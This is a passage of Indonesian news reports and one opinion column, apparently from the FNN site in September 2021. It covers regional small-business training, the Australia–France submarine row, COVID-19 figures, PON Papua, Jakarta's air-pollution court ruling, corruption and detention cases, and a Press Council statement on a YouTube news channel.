terjadi hampir dua tahun," jelasnya. Pelaku UMKM kata Mulkan mendapat pendampingan dan pembinaan dari instansi terkait sesuai dengan jenis atau bidang usahanya agar terjaga usahanya dengan tetap mempertahankan kualitas produknya. (mth)

Pemkab Manggarai Timur Beri Pelatihan bagi Pelaku UMKM

Labuan Bajo, FNN - Pemerintah Kabupaten (Pemkab) Manggarai Timur melalui Dinas Perdagangan, Koperasi, dan Usaha Kecil Menengah Manggarai Timur memberikan pelatihan tata rias bagi pelaku usaha mikro, kecil, dan menengah (UMKM) di Manggarai Timur, Nusa Tenggara Timur. "Pemkab Manggarai Timur konsisten mendukung pelaku UMKM melalui pelatihan berbagai bidang usaha, baik itu untuk meningkatkan keterampilan maupun pengelolaan dan manajemen usaha," kata Kepala Dinas Perdagangan, Koperasi dan UKM Manggarai Timur Fransiskus P Sinta dalam keterangan yang diterima di Labuan Bajo, Minggu. Pemkab Manggarai Timur melalui Dinas Perdagangan, Koperasi, dan UKM Manggarai Timur memberikan Pelatihan Tata Rias bagi pelaku UMKM sejak Kamis hingga Sabtu di aula Kevikepan Borong dan Hotel Gloria, Manggarai Timur. Fransiskus menjelaskan, lapangan pekerjaan yang semakin berkurang menuntut setiap orang untuk lebih kreatif dan inovatif serta mampu membaca peluang sesuai potensi diri dan kebutuhan pasar. Oleh karena itu pemerintah hadir sebagai pendorong UMKM sekaligus membantu meningkatkan kesejahteraan masyarakat melalui peningkatan keterampilan. Dia berharap pelatihan itu dapat membantu UMKM untuk mengantisipasi atau mengatasi dampak COVID-19. Sementara itu, instruktur pelatihan Shanty Wajong mengatakan usaha salon kecantikan bisa membantu pemenuhan ekonomi keluarga. Usaha itu bisa dijalankan di rumah atau mendatangi langsung rumah pelanggan sesuai kebutuhan tiap pelanggan. Pemilik Salon Cinta di Tenda Ruteng menyampaikan bahwa perempuan juga bisa membantu memenuhi ekonomi keluarga dengan menggali potensi diri. Kebutuhan akan kecantikan tidak ada habisnya, bahkan saat situasi pandemi COVID-19. Sehingga perlu konsistensi dalam menjaga kualitas dan memberikan yang terbaik untuk pelanggan. "Kesempatan ini harus dimaksimalkan. Mari kita belajar bersama untuk perempuan Manggarai Timur yang lebih hebat dan berdaya,” ajak Shanty. Salah seorang peserta pelatihan Felly Delos mengaku bersyukur atas perhatian dari pemerintah terhadap para pelaku UMKM. Dia sendiri berharap pelatihan tata rias itu dapat meningkatkan kemampuan mereka sehingga mereka bisa berkembang dan semakin percaya diri untuk bersaing dan berusaha. (mth)

Krisis dengan Prancis, Australia Bela Keputusannya tentang Kapal Selam

Melbourne, FNN - Australia bersikap "berani, terbuka, dan jujur" pada Prancis atas kekhawatirannya dengan kerja sama kapal selam di antara kedua negara, kata Menteri Pertahanan Australia Peter Dutton pada Minggu. Menurut Dutton, Australia sudah menyampaikan kekhawatiran kepada Prancis atas pesanan kapal selam senilai 40 miliar dolar AS (sekitar Rp570,5 triliun) pada 2016 yang diperhitungkan akan menelan biaya lebih besar saat ini. Perdana Menteri Australia Scott Morrison mengatakan pada Jumat (17/9) bahwa dia telah menyatakan keprihatinan yang mendalam tentang kesepakatan tersebut dengan Presiden Prancis Emmanuel Macron pada Juni, dan menjelaskan bahwa Australia "perlu membuat keputusan untuk kepentingan nasional kami". Menteri Keuangan Simon Birmingham mengatakan Australia telah memberi tahu Prancis tentang kesepakatan itu tetapi mengakui bahwa negosiasinya bersifat rahasia, mengingat "sensitivitasnya yang sangat besar". Dutton dan Birmingham menolak untuk mengungkapkan biaya dari perjanjian baru pembuatan kapal selam dengan Amerika Serikat dan Inggris, meskipun Dutton mengatakan "proyek itu tidak murah". Australia membatalkan kesepakatan dengan Naval Group, perusahaan kontraktor pertahanan Prancis, untuk membangun armada kapal selam konvensional, setelah mengumumkan rencana untuk membangun delapan kapal selam bertenaga nuklir dengan AS dan Inggris lewat kemitraan keamanan trilateral. Langkah itu membuat marah Prancis, sekutu AS dan Inggris di NATO, dan memicu penarikan duta besar Prancis dari Washington dan Canberra. Kesepakatan itu menempatkan Washington dalam krisis diplomatik yang belum pernah terjadi sebelumnya dengan Prancis. Menurut para analis, kesepakatan baru itu dapat merusak aliansi AS dengan Prancis dan Eropa, juga dapat menimbulkan keraguan pada upaya persatuan Barat yang berusaha dibangun oleh pemerintahan Presiden Joe Biden untuk melawan kekuatan China yang meningkat. Paris menyebut pembatalan kesepakatan kapal selam oleh Australia sebagai "tikaman dari belakang". Menteri Luar Negeri Prancis Jean-Yves Le Drian mengatakan hubungan dengan AS dan Australia berada dalam "krisis". (mth)

Pasien COVID-19 Sembuh di Babel Bertambah 257 Jadi 47.055 Orang

Pangkalpinang, FNN - Satgas Penanganan COVID-19 Provinsi Kepulauan Bangka Belitung menyatakan pasien sembuh dari paparan virus corona di provinsi itu bertambah 257, sehingga menjadi 47.055 jiwa. "Dalam bulan (1 hingga 18 September) 2021, pasien sembuh bertambah 5.191 orang," kata Sekretaris Satgas Penanganan COVID-19 Provinsi Kepulauan Babel Mikron Antariksa di Pangkalpinang, Minggu. Ia menjelaskan berdasarkan laporan terbaru dari satgas kabupaten/kota, sebanyak 257 pasien yang sembuh dari COVID-19 tersebar di Kota Pangkalpinang 73, Kabupaten Bangka 36, Bangka Barat 17, Bangka Tengah 79, Bangka Selatan 16, Belitung 12 dan Belitung Timur 24 orang. Sedangkan kasus baru COVID-19 bertambah 110 orang yang tersebar di Kota Pangkalpinang 14, Kabupaten Bangka 19, Bangka Barat 11, Bangka Tengah 19, Bangka Selatan 7, Belitung 13 dan Belitung Timur 27 orang. Sementara itu, pasien meninggal bertambah 6 kasus yang tersebar di Bangka Selatan 2 kasus, Kota Pangkalpinang, Bangka Tengah, Bangka Barat, dan Belitung masing-masing satu orang. "Kita terus mendorong pasien COVID-19 khususnya yang memiliki penyakit bawaan untuk diisolasi di isolasi terpusat dan rumah sakit guna menekan kasus kematian," katanya. Menurut dia, dalam menekan kasus dan memutus mata rantai penularan virus corona, Pemprov Kepulauan Babel telah membentuk empat satgas khusus yaitu satgas vaksin, satgas isoter, satgas oksigen, dan satgas silacak. "Alhamdulillah, dengan adanya empat satgas ini sudah berdampak terhadap penurunan kasus baru dan pasien meninggal karena COVID-19," katanya. (mth)

Kontingen Resmi Pertama PON Papua Mendapat Sambutan Spesial

Jakarta, FNN - Rombongan pertama kontingen resmi Pekan Olahraga Nasional (PON) Papua tiba di Bandara Sentani, Minggu, pukul 7.30 WIB dan mendapat sambutan spesial dari panitia penyelenggara, sesuai rencana yang sudah disimulasikan sebelumnya. Menurut keterangan tertulis dari panitia penyelenggara yang diterima ANTARA, Minggu, kontingen resmi pertama yang tiba pada 19 September itu terdiri dari provinsi DKI Jakarta, Kalimantan Tengah, Bali, Lampung, Papua Barat, Banten dan Nusa Tenggars Timur (NTB). “Kemarin kita sudah melaksanakan simulasi penjemputan. kemudian hari ini kita lakukan. Mereka hadir di Bandara Sentani Silas Papare dijemput oleh perwakilan dari panitia bidang acara. Kemudian mereka menuju ke kendaraan dan langsung menuju ke tempat penyambutan di halaman parkir Stadion Barnabas Youwe,” kata Ketua Panitia Pengawas dan Pengarah (Panwasrah) PON XX Mayjen TNI (Purn.) Dr. Suwarno. Pelayanan terbaik dari tuan rumah ditunjukkan sejak kontingen tiba. Para peserta PON XX dari seluruh provinsi mendapatkan kekhususan sejak menginjak kaki di Tanah Papua. Demi menghindari kerumunan dan memperlancar kegiatan, kontingen yang tiba tidak perlu antre validasi eHac dan mengambil barang dari bagasi di bandara. Validasi eHac dilakukan di tempat penyambutan, begitu juga barang bawaan kontingen di bagasi. Setelah turun dari pesawat, kontingen disambut panitia. Mereka melewati jalur khusus langsung ke bus untuk menuju ke Stadion Barnabas Youwe yang menjadi tempat penyambutan. Turut serta menyambut kontingen pertama, Ketua Harian PB PON XX Yunus Wonda, Ketua Bidang I PB PON XX Yusuf Yambe, Kepala Dinas Pemuda dan Olahraga Kabupaten Jayapura yang juga Ketua Bidang (Kabid) I Sub PB PON XX Klaster Kabupaten Jayapura Yaan Yoku. “Untuk barang-barang yang mereka bawa, ditangani oleh panitia, sehingga kedatangan dari bandara tidak berlama-lama di bandara, segera naik bis dan berangkat menuju ke Stadion Barnabas Youwe,” ujar Suwarno. Selain mendapat layanan spesial, kontingen resmi itu juga disambut dengan tarian khas Papua. “Sesampai di Barnabas Youwe, mereka disambut dengan kesenian-kesenian asli Papua sehingga mereka sudah merasa bahwa, ‘Oh ya kami sudah sampai di Papua’ begitu juga dilanjutkan dengan aktivasi ID card masing-masing serta pengecekan eHac,” jelas Suwarno. Sementara itu, pelatih asal Sulawesi Tenggara Juliwahyudin mengaku senang dengan penyambutan khusus tersebut. “Kami disambut dengan ramah oleh masyarakat setempat, dan diberi kemudahan perjalanannya. Dari bandara itu kami melalui jalur khusus karena ada pengawalan-pengawalan dari pihak kepolisian sehingga menempuh jalur itu sangat cepat sampai ke hotel,” tutur Juliwahyudin. (mth)

Wali Kota Pastikan Penempatan Pejabat Tidak Ada Intervensi dari Luar

Mataram, FNN - Wali Kota Mataram H. Mohan Roliskana memastikan penempatan pejabat eselon II di pemerintah kota setempat tidak ada intervensi dari pihak luar dan mengacu pada hasil asesmen tim panitia seleksi (pansel). "Kami sudah berikan tugas asesmen kepada tim pansel, dan itu menjadi referensi saya dalam mengambil keputusan. Saya pastikan tidak ada intervensi dari pihak luar," kata Mohan Roliskana di Mataram, Provinsi Nusa Tenggara Barat, Minggu. Pernyataan itu disampaikan Wali Kota menyikapi berakhirnya kegiatan seleksi jabatan pimpinan tinggi (JPT) pratama oleh pansel terhadap 34 calon untuk mengisi tujuh jabatan eselon II yang kosong di pemkot setempat. Tujuh jabatan yang kosong itu adalah Kepala Dinas Pemuda dan Olahraga, Kepala Bakesbangpol, Kepala Badan Perencana Pembangunan Daerah (Bappeda), Kepala Dinas Perdagangan, Direktur Utama RSUD Kota Mataram, Kepala Dinas Kearsipan dan Perpustakaan, serta Kepala Dinas Kelautan dan Perikanan. Ketika tim pansel telah menyerahkan hasil asesmen, pihaknya akan melihat secara detail apa yang menjadi rekomendasi tim pansel. "Jadi, sekarang saya tinggal tunggu hasil rekomendasi pansel sebagai tolok ukur dan acuan untuk penempatan pejabat," katanya. Di sisi lain, Wali Kota mengaku sejauh ini pihaknya tidak pernah melihat siapa dan bagaimana pelaksanaan seleksi oleh pansel sebab tahapan itu sepenuhnya menjadi ranah dari pansel. Terkait dengan itu, dia mengingatkan kepada semua peserta seleksi untuk tidak melakukan manuver atau hal-hal yang tidak normatif. "Kalau sampai ada yang melakukan hal itu meskipun dia menjadi rekomendasi utama dari pansel, saya pastikan dia tidak akan jadi menjabat," kata Wali Kota menegaskan. (mth)

Hongkong Gelar Pemungutan Suara untuk 1.500 Anggota Komite Pemilu

Beijing, FNN - Hongkong menggelar pemungutan suara untuk memilih 1.500 anggota Komite Pemilihan Umum (EC) pada Minggu. Pemilihan EC untuk masa jabatan lima tahun tersebut merupakan pemungutan suara pertama yang digelar di Hong Kong setelah sistem pemilu baru diterapkan sejak awal tahun ini. Pengumpulan suara dilakukan di lima tempat pemungutan suara (TPS) umum dan satu TPS khusus di seluruh wilayah Hongkong mulai pukul 09.00 hingga 18.00 waktu setempat (08.00-17.00 WIB). Kepala Eksekutif Wilayah Administrasi Khusus Hongkong (HKSAR) Carrie Lam menyatakan pemungutan suara ini akan mengarah pada sistem pembangunan model baru di wilayahnya. Pemilihan EC ini akan meletakkan prinsip dasar Pemilu Legislatif (LegCo) dan Pemilu Kepala Eksekutif (CE) mendatang, kata politikus perempuan Hongkong itu. "Pemilihan ini digelar secara fair dan terbuka sesuai prinsip-prinsip patriotisme dalam menjalankan roda pemerintahan di Hongkong," ujarnya kepada pers. Sesuai keputusan yang ditetapkan Kongres Rakyat Nasional China (NPC) pada 11 Maret 2011 yang kemudian disahkan oleh LegCo pada 27 Mei 2021, EC akan memiliki 1.500 anggota. Anggota EC berasal dari lima unsur: kalangan industri komersial dan keuangan; profesional; elemen masyarakat dan keagamaan; LegCo; dan utusan pemerintah HKSAR di NPC. EC bertanggung jawab menggelar Pemilu LegCo pada 2021 dan Pemilu CE pada 2022 untuk masa jabatan lima tahun, termasuk menentukan calon-calon pada kedua lembaga legislatif dan eksekutif tersebut. (mth)

Digugat Artis Melanie Subono, Presiden Jokowi dan Enam Pejabat Lainnya Kalah di PN Jakpus

Jakarta, FNN - Presiden Jokowi dan Gubernur DKI Jakarta Anies Baswedan kalah di Pengadilan Negeri Jakarta Pusat. Namun tak banyak yang tahu siapa penggugat Jokowi dan Anies. Satu di antaranya adalah musisi Melanie Subono. Jokowi dan Anies divonis bersalah oleh majelis hakim Pengadilan Negeri (PN) Jakarta Pusat terkait pencemaran udara di wilayah DKI Jakarta. Gugatan terhadap Jokowi dan Anies didaftarkan di Pengadilan Negeri Jakarta Pusat pada 4 Juli 2019. Dalam gugatan tersebut, ada tujuh pejabat negara dinilai tidak menanggapi dan membahas tuntutan 32 warga negara yang telah mengirimkan notifikasi sejak 5 Desember 2018 silam. Tujuh pejabat itu yakni Presiden RI Joko Widodo, Menteri Lingkungan Hidup dan Kehutanan, Menteri Dalam Negeri, Menteri Kesehatan, Gubernur DKI Jakarta Anies Baswedan, Gubernur Banten (turut tergugat I), dan Gubernur Jawa Barat (turut tergugat II). Satu di antara 32 warga negara yang menggugat tujuh pejabat negara itu adalah musisi Melanie Subono. Berdasarkan catatan Indonesian Centre for Environmental Law (ICEL), sepanjang persidangan terdapat proses mediasi antara tim kuasa hukum 32 warga dengan kuasa hukum masing-masing tergugat. Terjadi lima kali pertemuan mediasi di dalam persidangan, dan dua kali pertemuan mediasi di luar persidangan, hanya dengan perwakilan dari tergugat 5 yakni Gubernur DKI Jakarta. Dalam pertemuan kelima mediasi pada 12 Desember 2019, hakim mediator menyatakan bahwa para pihak tidak menemukan kesepakatan dan persidangan dilanjutkan ke tahap pembacaan gugatan. Jokowi Dan Anies Kalah, Melania Subono Senang Majelis hakim Pengadilan Negeri Jakarta Pusat memvonis Presiden Jokowi dan Anies Baswedan melakukan perbuatan melawan hukum terkait pencemaran udara di wilayah DKI Jakarta. Hakim juga memvonis Menteri Lingkungan Hidup dan Kehutanan, Menteri Dalam Negeri, dan Menteri Kesehatan, melakukan perbuatan melawan hukum. Hakim menilai para tergugat telah lalai dalam pemenuhan hak atas lingkungan hidup yang bersih dan sehat di wilayah DKI Jakarta. “Mengadili, dalam pokok perkara, menyatakan tergugat I, tergugat II, tergugat III, tergugat IV, dan tergugat V telah melakukan perbuatan melawan hukum,” ujar hakim ketua Saifuddin Zuhri saat membacakan amar putusan di Pengadilan Negeri Jakarta Pusat. Majelis hakim menghukum Presiden untuk menetapkan baku mutu udara ambien nasional yang cukup untuk melindungi kesehatan manusia, lingkungan dan ekosistem, termasuk kesehatan populasi yang sensitif berdasarkan pada perkembangan ilmu pengetahuan dan teknologi. Majelis hakim juga menghukum Menteri Lingkungan Hidup dan Kehutanan agar melakukan supervisi terhadap Gubernur DKI Jakarta, Gubernur Banten, dan Gubernur Jawa Barat dalam melakukan inventarisasi emisi lintas batas provinsi DKI Jakarta, Banten, dan Jawa Barat. Hakim memutuskan agar Menteri Dalam Negeri melakukan pengawasan dan pembinaan terhadap kinerja Gubernur DKI Jakarta dalam pengendalian pencemaran udara. Majelis hakim menghukum Gubernur DKI Jakarta untuk melakukan pengawasan terhadap ketaatan setiap orang mengenai ketentuan perundang-undangan di bidang pengendalian pencemaran udara dan atau ketentuan dokumen lingkungan hidup. Anies diminta menjatuhkan sanksi terhadap setiap orang yang melakukan pelanggaran ketentuan perundangan-undangan di bidang pencemaran udara dan atau ketentuan dokumen lingkungan hidup. Hakim juga menghukum Anies agar menyebarkan evaluasi pengawasan dan penjatuhan sanksi berkaitan dengan pengendalian pencemaran udara kepada masyarakat. “Menetapkan baku mutu ambien daerah untuk Provinsi DKI yang cukup untuk melindungi kesehatan manusia, lingkungan dan ekosistem termasuk kesehatan populasi berdasarkan perkembangan ilmu pengetahuan dan teknologi,” lanjut hakim. Melania Subono mengapresiasi Pengadilan Negeri Jakarta Pusat yang memvonis bersalah Presiden Jokowi dan Anies Baswedan beserta lima pejabat negara lainnya. Melanie Subono mengatakan vonis terhadap Jokowi dan Anies adalah kemenangan rakyat. “People power. Setelah dua tahun sidang mulu, diulur ulurlah akhirnya kemarin kita, kalian menang!,” ungkap Melania Subono di laman Instagram-nya, Jumat (17/9/2021). Cucu Presiden ke-RI, BJ Habibie ini mengakui awalnya risih saat sidang, hakim memanggil para petinggi tersebut, termasuk namanya juga sebagai penggugat. Melanie Subono sendiri menjelaskan gugatan yang mereka layangkan sejatinya berangkat dari rasa sedih melihat Jakarta bolak balik jadi kota terpolusi di dunia. “Padahal kita bahkan enggak ada pabrik. Makanya kota-kota sebelah yang mengirimkan kita imbas, pun tergugat. Plus KLHK (Kementrian Lingkungan Hidup). Sedih liat angka kematian bayi tinggi dll. ISPA. Orang lansia. dan lainnya,” tandas Melanie Subono. (SWS dari sumber asal Repelita)

BPIP Makin Boros, Bubarkan!

By M Rizal Fadillah SETELAH didesak agar BPIP dibubarkan karena menjadi lembaga boros dan tidak berguna, kini malah BPIP akan mendapat kucuran dana ratusan milyar. Uang negara akan dialokasikan untuk lembaga yang dinilai mubazir. Badan yang sebenarnya perlu evaluasi apakah dibutuhkan atau tidak. Faktanya sepi kegiatan dan lebih banyak menggaduhkan. Terakhir soal lomba artikel naif dan Islamophobia "Menghormat Bendera Menurut Hukum Islam" dan "Menyanyikan Lagu Kebangsaan Menurut Hukum Islam". Bukan tidak penting bahwa Pancasila harus diperkuat oleh seluruh elemen, akan tetapi jika Pancasila hanya dijadikan alat kepentingan untuk penguatan kekuasaan maka hal ini menjadi berbahaya. Gerakan PKI dahulu tidak menarasikan mengubah Pancasila bahkan akan mengamankan atau membela Pancasila, tetapi dalam prakteknya justru menyimpang bahkan berkonspirasi untuk mengganti ideologi Pancasila tersebut. BPIP tidak dibentuk atas aspirasi rakyat melainkan kemauan dan kepentingan Pemerintah oleh karenanya dasar hukumnya adalah Peraturan Presiden. Tepatnya Perpres No. 7 tahun 2018. Anggaran terus meningkat tanpa adanya evaluasi terbuka. Dari 160 M (2020) menjadi 208,8 M (2021) dan 343,9 M (2022). Lonjakan tinggi untuk tahun depan ini aneh karena yang diajukan hanya 193,9 M namun setelah pembahasan justru ditambah 150 M sehingga total menjadi 343,9 Milyar. RUU BPIP sebagaimana RUU HIP diprediksi masih akan mengundang kontroversi. Implikasinya pada peran dan fungsi BPIP sendiri. Lalu penggunaan dana 343,9 Milyar menjadi tidak jelas. Personal Dewan Pengarah yang dipimpin oleh Ketum PDIP Megawati bergaji cukup besar. Sementara pekerjaan minim. Gaji buta namanya. BPIP sebagai lembaga boros, berdaya guna kecil dan tidak langsung menyentuh kepentingan rakyat harus dipertimbangkan eksistensinya. Di era pandemi keberadaan lembaga "politis" ini bukan lagi primer. Karenanya ide pembubaran layak diapresiasi. Apalagi jika Pancasila yang disosialisasikan semata bersandar pada perspektif kekuasaan. BPIP yang bukan menjadi tangan rakyat tetapi tunggangan Pemerintah. BPIP kehilangan urgensi setelah gagal konten. Materi RUU HIP yang tadinya dirancang menjadi bahan bagi kerja badan ini nyatanya gagal menjadi UU. RUU HIP memang tendensius dan dinilai tidak fungsional untuk merawat ideologi, justru sebaliknya merusak Pancasila. Wajar jika rakyat bereaksi untuk menggagalkan. 343,9 Milyar dialokasikan untuk BPIP yang semakin tidak jelas peran dan fungsinya, tidak memiliki standar pola dan materi pembinaan, serta lemah daya dukung eksistensinya. Di samping merupakan pemborosan atas uang negara, alokasi ratusan milyar ini juga rawan bagi terjadinya korupsi. BPIP makin boros : Audit dan bubarkan ! *) Pemerhati Politik dan Kebangsaan.

Alex Noerdin Batal Ditahan di Rutan KPK

Jakarta, FNN - Alex Noerdin, tersangka dugaan tindak pidana korupsi pembelian gas bumi oleh BUMD Perusahaan Daerah Pertambangan dan Energi (PDPDE) Sumsel periode 2010-2019 tak jadi ditahan di Rutan Kelas I Cipinang Cabang Rutan KPK, karena penuh. Direktur Penyidik Jaksa Agung Muda Tindak Pidana Khusus (Dirdik Jampidsus) Kejaksaan Agung RI Supardi, saat dikonfirmasi di Jakarta, Sabtu, mengatakan Alex Noerdin bersama Muddai Mandang, tersangka lainnya ditahan di Rutan Salemba Cabang Kejaksaan Agung. "Enggak jadi di Rutan KPK, kami sudah bawa ke sana, tiba-tiba berubah katanya penuh, akhirnya kami bawa ke sini (Rutan Kejaksaan Agung-red)," kata Supardi. Sebelumnya, Penyidik Jampidsus Kejaksaan Agung menetapkan dua orang tersangka dugaan korupsi PDPDE Gas Sumatera Selatan, yakni Mantan Gubernur Sumatera Selatan Alex Noerdin dan Muddai Mandang selaku Direktur PT Dika Karya Lintas Nusa (DKLN) merangkap Direktur Utama PDPDE Gas Sumsel. Setelah ditetapkan sebagai tersangka keduanya langsung dilakukan penahanan, Alex di Rutan Kelas I Cipinang Cabang Rutan KPK, sedangkan Muddai di Rutan Salembang Cabang Kejaksaan Agung RI. Menurut Supardi, pada hari penahanan pihaknya telah membawa Alex ke Rutan KPK, karena ada perubahan lantaran kondisi rutan sudah penuh. Terpaksa dialihkan ke Rutan Salemba Cabang Kejaksaan Agung. "Saya ndak mau banyak berdinamika, ya sudahlah dibawa ke Rutan Kejagung. Yang pasti mereka berdua berbeda sel, tidak disatukan," ucap Supardi. Alex dan Muddai Mandang ditahan selama 20 hari terhitung dari tanggal 16 September sampai dengan 5 Oktober 2021. Supardi mengatakan pihaknya segera merencanakan pemeriksaan Alex Noerdin dan Muddai Mandang sebagai tersangka. "Pemeriksaan pastinya dilakukan di Gedung Bundar," ujarnya. Dalam perkara ini, Alex Noerdin berperan menyetujui kerja sama antara PDPDE Sumsel dengan PT Dika Karya Lintas Nusa (DKLN) membentuk PDPDE Gas dengan maksud menggunakan PDPDE-nya untuk mendapatkan gas alokasi bagian negara. Sedangkan tersangka Muddai Madang, ditersangkakan atas perannya menerima pembayaran yang tidak sah berupa "fee" pemasaran dari PT PDPDE Gas. Alex Noerdin dan Muddai Madang dijerat dengan Pasal 2 ayat (1) jo Pasal 18 UU Pemberantasan Tindak Pidana Korupsi (PTPK) jo Pasal 55 ayat (1) ke-1 KUHP subsider Pasal 3 dan Pasal 18 UU PTPK jo Pasal 55 ayat (1) ke-1 KUHP. Baik Alex maupun Muddai Mandang juga pernah diperiksa sebagai saksi terkait dugaan penyelewengan dana hibah Pemerintah Provinsi Sumatera Selatan tahun anggaran 2015 dan 2017 senilai Rp130 miliar yang diperuntukkan untuk pembangunan Masjid Raya Sriwijaya. Sebelumnya, penyidik 'Gedung Bundar' telah menetapkan mantan Direktur Utama PDPDE Sumsel Caca Isa Saleh S dan A Yaniarsyah Hasan sebagai tersangka. Dalam perkara ini, Yaniarsyah juga menjabat sebagai Direktur DKLN merangkap Direktur PT PDPDE Gas. Adapun komposisi kepemilikan saham proyek tersebut adalah 15 persen untuk PDPDE Sumsel dan 85 persen untuk DKLN. Dari perhitungan Badan Pemeriksaan Keuangan (BPK), kerugian keuangan negara dalam kasus tersebut sebesar 30,194 juta dolar AS. Nominal itu berasal dari hasil penerimaan penjualan gas dikurangi biaya operasional selama 2010-2019. Adapun kerugian lain sebesar 63.750 dolar AS dan Rp2,13 miliar merupakan setoran modal yang tidak seharusnya dibayarkan oleh PDPDE Sumsel. (ant, sws)

Napoleon Bonaparte Terlapor Penganiayaan M. Kece

Jakarta, FNN -Laporan penganiayaan yang dilayangkan oleh Muhammad Kosman alias Muhammad Kece, tersangka kasus dugaan penistaan terhadap agama akhirnya terungkap, terlapor yang merupakan sesama tahanan di Rutan Bareskrim Polri, yakni Irjen Pol. Napoleon Bonaparte. Direktur Tindak Pidana Umum (Dirtipidum) Bareskrim Polri Brigjen Pol Andi Rian Djajadi saat dikonfirmasi di Jakarta, Sabtu membenarkan bahwa terlapor dalam laporan polisi yang dibuat oleh Muhammad Kece adalah jenderal bintang dua tersebut. "Napoelon Bonaparte," jawab Brigjen Andi, saat ditanya nama terlapor dalam laporan polisi yang dilayangkan Muhammad Kece. Seperti diberitakan sebelumnya, Bareskrim Polri menerima Laporan Polisi LP Nomor 0510/VIII/2021/Bareskrim.Polri pada tanggal 26 Agustus 2021, pelapor atas nama Muhammad Kosman yang tak lain adalah Muhammad Kece. Lebih lanjut Brigjen Andi menyebutkan, penyidik masih bekerja mendalami laporan tersebut, termasuk kronologi penganiayaan yang dilakukan apakah dilakukan sendiri oleh Napoleon atau ada yang membantu. Menurut Brigjen Andi, sudah ada tiga orang saksi yang dimintai keterangan, ketiganya merupakan tahanan yang ada di Rumah Tahanan Negara (Rutan) Bareskrim Polri. "Penyidik sedang mendalami apakah dilakukan sendiri atau ada yang membantu. Nanti ya motifnya. Saksi tiga orang, semuanya napi," ucap Andi. Sebelumnya, Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri Brigjen Pol Rusdi Hartono menyebutkan, penyidik Bareskrim Polri sudah menindaklanjuti laporan polisi tersebut dengan memeriksa tiga orang saksi dan mengumpulkan alat bukti yang relevan. Menurut dia, kasus tersebut saat ini sudah tahap penyidikan, dan penyidik sedang mengumpulkan alat bukti lainnya yang relevan untuk menuntaskan kasus tersebut. "Nanti dari alat bukti itu akan dilakukan gelar perkara dan akan menentukan tersangkanya," ujar Rusdin. Rusdi menegaskan, kasus tersebut telah ditangani oleh kepolisian dan akan dituntaskan sesuai dengan aturan perundang-undangan yang berlaku. Berdasarkan informasi yang diperoleh, penganiayaan itu terjadi pada saat Muhammad Kece sedang berada di ruang isolasi. Sesuai protokol kesehatan, setiap tahanan yang baru masuk, menjalani masa isolasi selama 14 hari. Sebagaimana diketahui, Muhammad Kosman alias Muhammad Kece ditangkap oleh Direktorat Tindak Pidana Siber Polri bersama Polda Bali di tempat persembunyiannya usai video penghinaan terhadap simbol agama viral di media sosial. Penangkapan itu berlangsung di Kecamatan Kuta Utara, Kabupaten Badung, Bali, pada Selasa (24/8) pukul 19.30 WIB. Kece lalu diterbangkan ke Jakarta untuk dilakukan pemeriksaan dan penahanan di Rutan Bareskrim Polri pada Rabu (25/8). Setelah ditangkap dan ditetapkan sebagai tersangka, M. Kece lantas ditahan selama 20 hari terhitung dari tanggal 25 Agustus sampai 13 September 2021. Hingga kini masa penahanannya diperpanjang. Tersangka M. Kece, disangkakan dengan Pasal 28 ayat (2) dan junto Pasal 45 a ayat (2) dapat juga dijerat dengan peraturan lainnya yang relevan yakni Pasal 156 a KUHPidana tentang Penodaan Agama, ancaman hukuman enam tahun penjara. (ant, sws).

Dewan Pers: Channel YouTube Hersubeno Point Produk Jurnalistik

Jakarta, FNN - Ketua Komisi Penelitian, Pendataan, dan Ratifikasi Pers Dewan Pers, Ahmad Djauhar menegaskan, channel YouTube Hersubeno Point merupakan produk jurnalistik, karena berada di bawah FNN (Forum News Network) yang merupakan perusahaan pers. Ahmad Djauhar menegaskan, media, meskipun media sosial, sepanjang itu di-address atau menjadi bagian dari kerja resmi perpanjangan tangan dari semua media dan itu bagian dari proses kerjanya, itu masuk yurisdiksi wilayah perlindungan UU Pers (UU Nomor 40 Tahun 1999) tentang Pers). "Jadi itu merupakan bagian dari produk pers. Itu sudah kami sampaikan beberapa kali. Memang FNN ini hobi sekali bikin quote unquote - kontroversi begitu, tapi itu bagus," katanya dalam Webinar berjudul #Savehersu, Jurnalistik dalam Ujian, Sabtu 18 September 2021. Webinar menghadirkan pembicara Ahmad Djauhar dari Dewan Pers, Hersubeno Arief dari FNN, Rony Talapessi dari DPD PDIP DKI Jakarta, dan M. Isa Ansori sebagai moderator. Namun sampai Webinar usai, Ronny Talapessi tidak hadir. Djauhar mengingatkan, di era demokrasi yang sudah disepakati bersama, kita wajib konsekuen. "Jadi, gini lho, saya ingin sampaikan terlebih dahulu bahwa kita telah berkomitmen memasuki alam demokrasi sepenuhnya. Konsekuensi alam demokrasi itu, menulis apa pun itu boleh, tidak ada yang dilarang, sepanjang tulisan atau apa pun kabar itu, sepanjang ada verifikasinya. Jurnalisme itu adalah semua hal yang terverifikasi. Itu bedanya dengan media sosial murni. Media sosial murni itu ibaratnya seperti warung kopi universal. Warung kopi, tetapi skalanya mendunia, siapa pun boleh melemparkan topik apa pun, tanpa dia harus bertanggungjawab. Makanya, harus ada rambu-rambu, oleh karena itu ada UU," ujarnya. Menurut Djauhar, UU ITE sebenarnya bukan untuk mengatur kebebasan berpendapat dan kebebasan berbicara. "UU ITE namanya saja Internet dan Transaksi Elektronik. Ini sebetulnya dulu dibentuk untuk kepentingan Kementerian Perdagangan, tetapi saya tidak tahu semua hal di Indonesia bisa dipolitisasi dan dibelokkan ke politik sehingga malah lebih banyak untuk menjerat kebebasan berekspresi," katanya. Djauhar menegaskan, produk berita yang dipublikasikan oleh Hersubeno Arief merupakan produk jurnalistik. "Tadi seperti yang disampaikan Bung Hersu, Dewan Pers melihatnya bahwa ini sudah memenuhi aspek jurnalisme," katanya. Bahkan, lanjut Djauhar, Hersu sudah memberikan pernyataan pada kesempatan pertama dengan memberikan semacam breaking news, dan sebagainya. "Kalau di media cetak harus tertulis. Di media cetak konfirmasi bahkan bisa dilakukan esok harinya ketika sudah melewati deadline, yang penting pada kesempatan pertama," paparnya. Berkaitan dengan status FNN, Djauhar banyak mendapat pertanyaan masyarakat. "Yang sering ditanyakan adalah, FNN itu sudah perusahaan pers atau belum? Nah, kebetulan saya membawahi penelitian, pendataan, dan klasifikasi pers, saya jelaskan sekali lagi bahwa FNN sudah mengajukan aplikasi untuk mendatakan dirinya. Mendatakan ya, bukan mendaftarkan, karena Dewan Pers bukan seperti Kementerian Penerangan zaman dulu," tegasnya. Menurut Djauhar ada kemudahan untuk mendatakan diri di Dewan 